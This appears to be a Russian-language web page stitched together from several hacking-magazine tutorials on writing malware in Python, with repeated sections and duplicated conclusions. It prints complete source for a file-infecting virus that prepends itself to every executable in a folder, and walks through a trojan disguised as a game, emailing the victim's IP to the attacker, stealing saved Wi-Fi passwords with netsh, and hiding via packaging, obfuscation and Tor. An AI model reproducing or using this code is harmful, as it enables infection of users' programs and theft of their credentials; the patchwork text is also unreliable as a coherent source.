Вирус шутка на питоне

Обновлено: 22.11.2024

Новый год — самое время для легких извращений. Хотя для тебя, читающего эту статью практически весной, год уже не новый, да и сама идея изучения вируса, написанного на питоне, может показаться вовсе даже не легким извращением…

Как известно, с помощью питона можно решать множество повседневных, рутинных задач: периодическое резервное копирование файлов, отправка писем по электронной почте, поиск и выполнение различных действий с файлами на жестком диске и прочее. Так как Python является языком программирования высокого уровня, то и вирусы на нем можно писать соответствующие. Зловреды, созданные с помощью ЯВУ, обычно классифицируются как HLLx (High Level Language, x — метод размножения).

Существуют три основных подвида HLLx-вирусов: оверврайтеры (Overwrite) — HLLO, компаньоны (Companion) — HLLC и паразиты (Parasitic) — HLLP.

Первые являются достаточно примитивными программами, которые просто перезаписывают код жертвы своим кодом, вследствие чего оригинальная программа перестает существовать. Такие вирусы очень просты и весьма разрушительны. В результате эпидемии такой заразы пользовательский компьютер практически полностью лишается всего установленного ПО. Ничем иным кроме вандализма это назвать нельзя.

Вирусы-компаньоны более гуманны к исполняемым файлам, которые они «заражают». Слово «заражают» я специально взял в кавычки, так как на самом деле HLLC-зловреды просто присваивают себе имя жертвы, а оригинальный экзешник переименовывают (а могут и зашифровать — прим. ред.) во что-нибудь другое. Таким образом, они подменяют пользовательский софт своими копиями, а для большей маскировки запускают оригинальную программу из файла с новым именем. И пользователь доволен, и вирус остался жив. HLLP являются самыми продвинутыми из ЯВУ-вирусов. Они внедряются непосредственно в файл-жертву, сохраняя при этом работоспособность оригинального кода. Из-за особенностей высокоуровневых языков программирования полноценного инжекта, как у «взрослых» вирусов на ассемблере, добиться очень сложно. Поэтому паразиты получаются не слишком элегантными созданиями, но, к сожалению, это практически потолок того, что можно выжать из ЯВУ.

В связи с тем, что как HLLO-, так и HLLC-вирусы слишком примитивны и практически не встречаются в дикой природе, мы займемся разработкой здовреда-паразита. Основной метод, используемый ими для заражения — внедрение в один файл с кодом-жертвой.
Таким образом сохраняется код оригинальной программы, и при этом не появляется никаких лишних следов.

Существует много вариаций на тему HLLP-зловредов, но мы реализуем самую простую из них. Вирус будет писать в начало файлажертвы свое собственное тело — целиком, со всеми заголовками и служебными структурами. Код «хорошей» программы при этом будет смещен на длину вируса. То есть, сначала будет выполняться вирус, который в конце своего черного дела запустит оригинальную программу, чтобы лишний раз не вызывать подозрения у пользователя. По традиции взглянем на код:

Код HLLP-вируса

import sys
import os
import shutil
virPath = os.path.split(sys.argv[0]);
names = os.listdir('.');
fvir = open(sys.argv[0], 'rb');
virData = fvir.read(19456);
for name in names:

namePair = os.path.splitext(name);
if namePair[1] == '.exe' and
name != virPath[1]:

os.rename(name, name + 'tmp');
fprog = open(name + 'tmp', 'rb');
progData = fprog.read();
fnew = open(name, ‘wb’);
fnew.write(virData + progData);
fnew.close();
fprog.close();
os.remove(name + 'tmp');
origProgData = fvir.read();
origProg = 'original_' + virPath[1];
forig = open(origProg, 'wb');
forig.write(origProgData);
fvir.close();
forig.close();
os.execl(origProg, ' ');

Первым делом мы подключаем три модуля: sys, os, shutil. Модуль sys дает доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Так, например, мы получаем имя выполняемого скрипта с помощью команды sys.argv[0]. Модуль os дает возможность выполнения команд, зависящих от операционной системы. Например, получить список файлов в директории, произвести над ними некоторые операции и так далее. Наконец, модуль shutil дает возможность копировать и перемещать файл на жестком диске.

После импорта нужных нам модулей мы узнаем имя файла, в котором содержится исходный код вируса. Затем с помощью команды os.listdir('.') получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке экзешником.
Если проверка это подтверждает, то инфицируем найденный файл, просто заменив его собой. Если ты читал внимательно, то заметил, что в условии оператора if присутствует еще вот такая инструкция:

а перед этим выполняется команда

Для чего это нужно, я расскажу в конце статьи, а пока двинемся дальше. Перед оператором if мы считываем в память собственное содержимое. Делается это с помощью команды fvir. read(19456). Число 19456 — это длина вируса (мы ведь должны учесть, что в файле находится не только вирус, но и жертва). Почему эта длина именно такая, я скажу чуть позже. Следующим шагом находим в текущей папке все exe’шники и заражаем их. Для этого, заранее переименовав невинную программку, мы читаем ее код в буфер, затем создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Далее сохраняем все это хозяйство и удаляем оригинальный файл жертвы с помощью команды os.remove(name+'tmp').

Теперь наступает самый ответственный момент — нам надо запустить оригинальный код, который мы предварительно засунули внутрь зловреда. Для этого просто читаем оставшиеся данные из образа вируса (мы ведь помним, что уже читали 19456 байт и указатель сместился в файле на эту позицию?), а затем сохраняем полученные данные во временный exe, который потом запускаем. Таким образом вирус корректно отработал, и при этом запустил нужную для пребывающего в счастливом неведении пользователя программу.

Конечно, наш зловред получился вовсе не без недостатков. Например, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не совсем удачное решение. Кроме того, у нашего питомца будут возникать проблемы при первом запуске, когда в образе находится только тело виря, а тело жертвы отсутствует. Но все эти проблемы при определенном старании вполне решаемы.

Главное для нас — продемонстрировать принцип работы.

А шо бы своровать?

Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV. Единственное, что вызывает вопросы — как делать скриншоты из Python?

На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.

Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.

Вот и все

Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты.

Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.

Заключение

Конечно, написание зловредов на Python — то еще извращение, но при большом желании такие поделки можно отшлифовать до нужной степени работоспособности, поставить на полку и всем показывать. К тому же вирус будет кроссплатформенным, а этим не каждый крутой вирмейкер может похвастаться :).

Заключение

Се­год­няшний тро­ян нас­толь­ко прост, что его никак нель­зя наз­вать боевым. Тем не менее он полезен для изу­чения основ язы­ка Python и понима­ния алго­рит­мов работы более слож­ных вре­донос­ных прог­рамм. Мы наде­емся, что вы ува­жаете закон, а получен­ные зна­ния о тро­янах вам никог­да не понадо­бят­ся.

В качес­тве домаш­него задания рекомен­дую поп­робовать реали­зовать двус­торон­ний тер­минал и шиф­рование дан­ных хотя бы с помощью XOR. Такой тро­ян уже будет куда инте­рес­нее, но, безус­ловно, исполь­зовать его in the wild мы не при­зыва­ем. Будьте акку­ратны и не делайте глупостей!

Следующий анекдот

Ко­неч­но, при­веден­ные в статье скрип­ты никак не годят­ся для исполь­зования в боевых усло­виях: обфуска­ции в них нет, прин­ципы работы прос­ты как пал­ка, а вре­донос­ные фун­кции отсутс­тву­ют нап­рочь. Тем не менее при некото­рой сме­кал­ке их воз­можно исполь­зовать для нес­ложных пакос­тей — нап­ример, вырубить чей‑нибудь компь­ютер в клас­се (или в офи­се, если в клас­се ты не наиг­рался).

Следующий анекдот

В этой статье я рас­ска­жу, как написать простой троян на Python с уда­лен­ным дос­тупом, а для боль­шей скрыт­ности мы встро­им его в игру. Даже если вы не зна­ете Python, то смо­жете луч­ше понять, как устро­ены такие вре­доно­сы, и поуп­ражнять­ся в прог­рамми­рова­нии.

Ко­неч­но, при­веден­ные в статье скрип­ты совсем не годят­ся для исполь­зования в боевых усло­виях: обфуска­ции в них нет, прин­ципы работы прос­ты как пал­ка, а вре­донос­ные фун­кции отсутс­тву­ют вовсе. Тем не менее при желании их воз­можно исполь­зовать для нес­ложных пакос­тей или приколов.

Если отбросить часть иронии…

… и вникнуть в ситуацию, то становится видно, что адекватные питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.

Есть продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.

Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.

Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.

Как написать троян на Python

Итак, что есть тро­ян? Вирус — это прог­рамма, глав­ная задача которой — самоко­пиро­вание. Червь активно рас­простра­няет­ся по сети (типич­ный при­мер — «Петя» и WannaCry), а тро­ян — скры­тая вре­донос­ная прог­рамма, которая мас­киру­ется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».

Ло­гика подоб­ного зараже­ния в том, что поль­зователь сам ска­чает себе вре­донос на компь­ютер (нап­ример, под видом кряк­нутой прог­раммы), сам отклю­чит защит­ные механиз­мы (ведь прог­рамма выг­лядит хорошей) и захочет оста­вить надол­го.

Хакеры и тут не дрем­лют, так что в новос­тях то и дело мель­кают сооб­щения о новых жер­твах пират­ско­го ПО и о шиф­роваль­щиках, поража­ющих любите­лей халявы. Но мы‑то зна­ем, что бес­плат­ный сыр быва­ет толь­ко в мусор­ке, и сегод­ня научим­ся очень прос­то начинять тот самый сыр чем‑то не впол­не ожи­даемым.

Определение IP-адреса

Для начала нам (то есть нашему тро­яну) нуж­но понять, где он ока­зал­ся. Важ­ная часть вашей информа­ции — IP-адрес, по которо­му с заражен­ной машиной мож­но будет соеди­нить­ся в даль­нейшем.

Нач­нем писать код. Сра­зу импорти­руем биб­лиоте­ки:

Обе биб­лиоте­ки не пос­тавля­ются с Python, поэто­му, если они у вас отсутс­тву­ют, их нуж­но уста­новить коман­дой pip .

Код получе­ния внеш­него и внут­ренне­го адре­сов будет таким. Обра­тите вни­мание, что, если у жер­твы нес­коль­ко сетевых интерфей­сов (нап­ример, WiFi и Ethernet одновре­мен­но), этот код может вес­ти себя неп­равиль­но.

Ес­ли с локаль­ным адре­сом все более‑менее прос­то — находим имя устрой­ства в сети и смот­рим IP по име­ни устрой­ства, — то вот с пуб­личным IP все несколько слож­нее.

Я выб­рал сайт api. ipify. org , так как на выходе нам выда­ется толь­ко одна стро­ка — наш внеш­ний IP. Из связ­ки пуб­личный + локаль­ный IP мы получим поч­ти точ­ный адрес устрой­ства.

Вы­вес­ти информа­цию еще про­ще:

Ни­ког­да не встре­чал конс­трук­ции типа print( f'<> ') ? Бук­ва f озна­чает фор­матиро­ван­ные стро­ковые литера­лы. А по простому — прог­рам­мные встав­ки пря­мо в стро­ку.

Стро­ковые литера­лы не толь­ко хорошо смот­рятся в коде, но и помога­ют избе­гать оши­бок типа сло­жения строк и чисел (Python — это вам на JavaScript!).

За­пус­тив этот скрипт, мы смо­жем опре­делить IP-адрес нашего (или чужого) компь­юте­ра.

Бэкконнект по почте

Те­перь напишем скрипт, который будет при­сылать нам пись­мо.

Им­порт новых биб­лиотек (обе нуж­но пред­варитель­но пос­тавить через pip install ):

Пи­шем базовую информа­цию о себе:

Даль­ше сфор­миру­ем пись­мо:

Пос­ледний штрих — нас­тро­ить под­клю­чение к поч­товому сер­вису. Я поль­зуюсь Яндекс.Поч­той, поэто­му нас­трой­ки выс­тавлял для нее.

В стро­ке server. ehlo( email) мы исполь­зуем коман­ду EHLO . Боль­шинс­тво сер­веров SMTP под­держи­вают ESMTP и EHLO . Если сер­вер, к которо­му вы пыта­етесь под­клю­чить­ся, не под­держи­вает EHLO , мож­но исполь­зовать HELO .

Пол­ный код этой час­ти тро­яна:

После запуска скрипта, получа­ем пись­мо.

Пись­мо с IP

Этот скрипт я про­верил на VirusTotal. Резуль­тат на скри­не.

Создание трояна на Python

По задум­ке, тро­ян пред­став­ляет собой кли­ент‑сер­верное при­ложе­ние с кли­ентом на машине ата­куемо­го и сер­вером на запус­кающей машине. Дол­жен быть реали­зован мак­сималь­ный уда­лен­ный дос­туп к сис­теме.

Как обыч­но, нач­нем с биб­лиотек:

Для начала напишем игру «Уга­дай чис­ло». Тут все край­не прос­то, поэто­му задер­живать­ся дол­го не буду.

За­чем столь­ко слож­ностей с про­вер­кой на чис­ло? Мож­но было прос­то написать guess = int( input( 'Введите число: ') ) . Если бы мы написа­ли так, то при вво­де чего угод­но, кро­ме чис­ла, выпада­ла бы ошиб­ка, а это­го допус­тить нель­зя, так как ошиб­ка зас­тавит прог­рамму оста­новить­ся и обру­бит соеди­нение.

Вот код нашего тро­яна. Ниже мы будем раз­бирать­ся, как он работа­ет, что­бы не про­гова­ривать заново базовые вещи.

Сна­чала нуж­но разоб­рать­ся, что такое сокет и с чем его едят. Сокет прос­тым язы­ком — это условная вил­ка или розет­ка для прог­рамм. Сущес­тву­ют кли­ент­ские и сер­верные сокеты: сер­верный прос­лушива­ет опре­делен­ный порт (розет­ка), а кли­ент­ский под­клю­чает­ся к сер­веру (вил­ка). Пос­ле того как уста­нов­лено соеди­нение, начина­ется обмен дан­ными.

Итак, стро­ка client = socket. socket( socket. AF_INET, socket. SOCK_STREAM) соз­дает эхо‑сер­вер (отпра­вили зап­рос — получи­ли ответ). AF_INET озна­чает работу с IPv4-адре­саци­ей, а SOCK_STREAM ука­зыва­ет на то, что мы исполь­зуем TCP-под­клю­чение вмес­то UDP, где пакет посыла­ется в сеть и далее не отсле­жива­ется.

Стро­ка client. connect(( HOST, PORT) ) ука­зыва­ет IP-адрес хос­та и порт, по которым будет про­изво­дить­ся под­клю­чение, и сра­зу под­клю­чает­ся.

Фун­кция client. recv( 1024) при­нима­ет дан­ные из сокета и явля­ется так называ­емым «бло­киру­ющим вызовом». Смысл такого вызова в том, что, пока коман­да не передас­тся или не будет отвер­гну­та дру­гой сто­роной, вызов будет про­дол­жать выпол­нять­ся. 1024 — это количес­тво задей­ство­ван­ных бай­тов под буфер при­ема.

Нель­зя будет при­нять боль­ше 1024 байт (1 Кбайт) за один раз, но нам это и не нуж­но: час­то вы руками вво­дите в кон­соль боль­ше 1000 сим­волов? Пытать­ся мно­гок­ратно уве­личить раз­мер буфера не нуж­но — это зат­ратно и бес­полез­но, так как нужен боль­шой буфер при­мер­но раз в никог­да.

Ко­ман­да decode( 'cp866') декоди­рует получен­ный бай­товый буфер в тек­сто­вую стро­ку сог­ласно задан­ной кодиров­ке (у нас 866). Но почему имен­но cp866 ? Зай­дем в коман­дную стро­ку и вве­дем коман­ду chcp .

Те­кущая кодовая стра­ница

Ко­диров­ка по умол­чанию для рус­ско­гово­рящих устрой­ств — 866, где кирил­лица добав­лена в латини­цу. В англо­языч­ных вер­сиях сис­темы исполь­зует­ся обыч­ный Unicode, то есть utf-8 в Python. Мы же говорим на рус­ском язы­ке, так что под­держи­вать его нам прос­то необ­ходимо.

При желании кодиров­ку мож­но поменять в коман­дной стро­ке, наб­рав пос­ле chcp ее номер. Юни­код име­ет номер 65001.

При при­еме коман­ды нуж­но опре­делить, не слу­жеб­ная ли она. Если так, выпол­няем опре­делен­ные дей­ствия, ина­че, если вклю­чен тер­минал, перенап­равля­ем коман­ду туда. Недос­таток — резуль­тат выпол­нения так и оста­ется необ­работан­ным, а его хорошо бы отправ­лять нам. Это будет вам домаш­ним задани­ем: реали­зовать эту фун­кцию мож­но от силы минут за пят­надцать, даже если гуг­лить каж­дый шаг.

Ре­зуль­тат про­вер­ки кли­ента на VirusTotal порадо­вал.

Ба­зовый тро­ян написан, и сей­час мож­но сде­лать очень мно­гое на машине ата­куемо­го, ведь у нас дос­туп к коман­дной стро­ке. Но почему бы нам не рас­ширить набор фун­кций? Давайте еще пароли от WiFi!

Создание WiFi-стилера на Python

За­дача — соз­дать скрипт, который из коман­дной стро­ки узна­ет все пароли от дос­тупных сетей Wi-Fi.

Прис­тупа­ем. Импорт биб­лиотек:

Мо­дуль subprocess нужен для соз­дания новых про­цес­сов и соеди­нения с потока­ми стан­дар­тно­го вво­да‑вывода, а еще для получе­ния кодов воз­вра­та от этих про­цес­сов.

Итак, скрипт для извле­чения паролей WiFi:

Вве­дя коман­ду netsh wlan show profiles в коман­дной стро­ке, мы получим сле­дующее.

netsh wlan show profiles

Ес­ли рас­парсить вывод выше и под­ста­вить имя сети в коман­ду netsh wlan show profile [ имя сети] key=clear , резуль­тат будет как на кар­тинке. Его мож­но разоб­рать и вытащить пароль от сети.

netsh wlan show profile ASUS key=clear Результат VirusTotal

Ос­талась одна проб­лема: наша изна­чаль­ная задум­ка была заб­рать пароли себе, а не показы­вать их поль­зовате­лю. Испра­вим же это.

До­пишем еще один вари­ант коман­ды в скрипт, где обра­баты­ваем наши коман­ды из сети.

Этот скрипт прост как два руб­ля и ожи­дает уви­деть рус­ско­языч­ную сис­тему. На дру­гих язы­ках это не сра­бота­ет, но испра­вить поведе­ние скрип­та мож­но прос­тым выбором раз­делите­ля из сло­варя, где ключ — обна­ружен­ный на компь­юте­ре язык, а зна­чение — тре­буемая фра­за на нуж­ном язы­ке.

Все коман­ды это­го скрип­та уже под­робно разоб­раны, так что я не буду пов­торять­ся, а прос­то покажу скрин­шот из сво­ей поч­ты.

Троян на Python отработал

Доработки

Ко­неч­но, тут мож­но дорабо­тать при­мер­но все — от защиты канала переда­чи до защиты самого кода нашего вре­доно­са. Методы свя­зи с управля­ющи­ми сер­верами зло­умыш­ленни­ка тоже обыч­но исполь­зуют­ся дру­гие, а работа вре­доно­са не зависит от язы­ка опе­раци­онной сис­темы.

И конеч­но, сам троян очень желатель­но упа­ковать с помощью PyInstaller, что­бы не тянуть с собой на машину жер­твы питон и все зависи­мос­ти. Игра, которая тре­бует для работы уста­новить модуль для работы с поч­той, — что может боль­ше вну­шать доверие?

Определяем IP

Сна­чала нам (то есть нашему тро­яну) нуж­но опре­делить­ся, где он ока­зал­ся. Важ­ная часть тво­ей информа­ции — IP-адрес, по которо­му с заражен­ной машиной мож­но будет соеди­нить­ся в даль­нейшем.

Нач­нем писать код. Сра­зу импорти­руем биб­лиоте­ки:

import socket from requests import get

Обе биб­лиоте­ки не пос­тавля­ются с Python, поэто­му, если они у тебя отсутс­тву­ют, их нуж­но уста­новить коман­дой pip .

pip install socket pip install requests

Код получе­ния внеш­него и внут­ренне­го адре­сов будет таким. Обра­ти вни­мание, что, если у жер­твы нес­коль­ко сетевых интерфей­сов (нап­ример, Wi-Fi и Ethernet одновре­мен­но), этот код может вес­ти себя неп­равиль­но.

hostname = socket . gethostname ( ) local_ip = socket . gethostbyname ( hostname )

Ес­ли с локаль­ным адре­сом все более‑менее прос­то — находим имя устрой­ства в сети и смот­рим IP по име­ни устрой­ства, — то вот с пуб­личным IP все нем­ного слож­нее.

Я выб­рал сайт api. ipify. org , так как на выходе нам выда­ется толь­ко одна стро­ка — наш внеш­ний IP. Из связ­ки пуб­личный + локаль­ный IP мы получим поч­ти точ­ный адрес устрой­ства.

Вы­вес­ти информа­цию еще про­ще:

print ( f'Хост: < hostname >' ) print ( f'Локальный IP: < local_ip >' ) print ( f'Публичный IP: < public_ip >' )

Ни­ког­да не встре­чал конс­трук­ции типа print( f'<> ') ? Бук­ва f озна­чает фор­матиро­ван­ные стро­ковые литера­лы. Прос­тыми сло­вами — прог­рам­мные встав­ки пря­мо в стро­ку.

Стро­ковые литера­лы не толь­ко хорошо смот­рятся в коде, но и помога­ют избе­гать оши­бок типа сло­жения строк и чисел (Python — это тебе на JavaScript!).

Теория

Итак, что вооб­ще такое тро­ян? Вирус — это прог­рамма, глав­ная задача которой — самоко­пиро­вание. Червь активно рас­простра­няет­ся по сети (типич­ный при­мер — «Петя» и WannaCry), а тро­ян — скры­тая вре­донос­ная прог­рамма, которая мас­киру­ется под «хороший» софт.

Ло­гика подоб­ного зараже­ния в том, что поль­зователь сам ска­чает себе вре­донос на компь­ютер (нап­ример, под видом кряк­нутой прог­раммы), сам отклю­чит защит­ные механиз­мы (ведь прог­рамма выг­лядит хорошей) и захочет оста­вить надол­го. Хакеры и тут не дрем­лют, так что в новос­тях то и дело мель­кают сооб­щения о новых жер­твах пират­ско­го ПО и о шиф­роваль­щиках, поража­ющих любите­лей халявы. Но мы‑то зна­ем, что бес­плат­ный сыр быва­ет толь­ко в мусор­ке, и сегод­ня научим­ся очень прос­то начинять тот самый сыр чем‑то не впол­не ожи­даемым.

warning

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни автор, ни редак­ция не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный матери­ала­ми дан­ной статьи. Несан­кци­они­рован­ный дос­туп к информа­ции и наруше­ние работы сис­тем могут прес­ледовать­ся по закону. Пом­ни об этом.

Сетевой червь

Мы сделали классического инфектора, который распространяется путем заражения близлежащих программ. Но ведь есть еще и сетевые черви, которые используют интернет для порабощения мира. Зловреды такого типа не интересуются файловой системой компьютера, им нужен доступ в сеть.

Для распространения черви пользуются дырами в операционной системе и прикладных программах, рассылают себя по электронной почте и так далее. Мы попробуем сделать вирус, который будет использовать именно e-mail’ы.

Отправка письма

Отправка письма с вложением

Следующий анекдот

В мире существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому списку можно с абсолютной уверенностью добавить вирусы на Python.

Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях? Желание нагадить ближнему без необходимости учить C/C++? Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?

А шо вирусу делать?

Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить.

Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.

Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor.

Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.

Работа с tor c этой либой проста, не сложнее requests.

Несколько замечаний

Самые сообразительные могут задать один маленький вопрос: «Питон — это скрипты, а exe — бинари. Как скриптом можно заразить исполняемый файл Windows?». Ответ на него очень прост — питоновские скрипты можно конвертировать в exeфайлы. Да-да, и делается это очень легко. Тут я описывать процесс не буду (ты ведь не хочешь, чтобы младшая сестренка, взяв в руки ][, получила бы исчерпывающее руководство по уничтожению твоего же компа :)), так что за подробностями — к Гуглу.

В связи с тем, что наши вирусы будут выполняться не как скрипты, а как полноценные win-приложения, в коде встретилась пара непонятных вещей, о которых я обещал рассказать позже. Первая из них — это вызов os.path.split(). Дело в том, что если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). В случае же с exeфайлом результат будет другой — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших злодеяний нам нужно только имя файла, то мы вызываем os.path.split().

Еще одна загадка — это число 19456. Но тут уже легко можно догадаться, что это размер exe, полученного после конвертации скрипта. Ровно столько у меня весил зловред после своего перерождения в бинарный формат.

Серверная токсичность

Бэкдоры на Python для серверов тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.

Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем. Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.

Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы. Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения.

Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.

Упаковка в бинарники

Поскольку Python — язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.

Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса, виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник. Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.

Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.

Читайте также: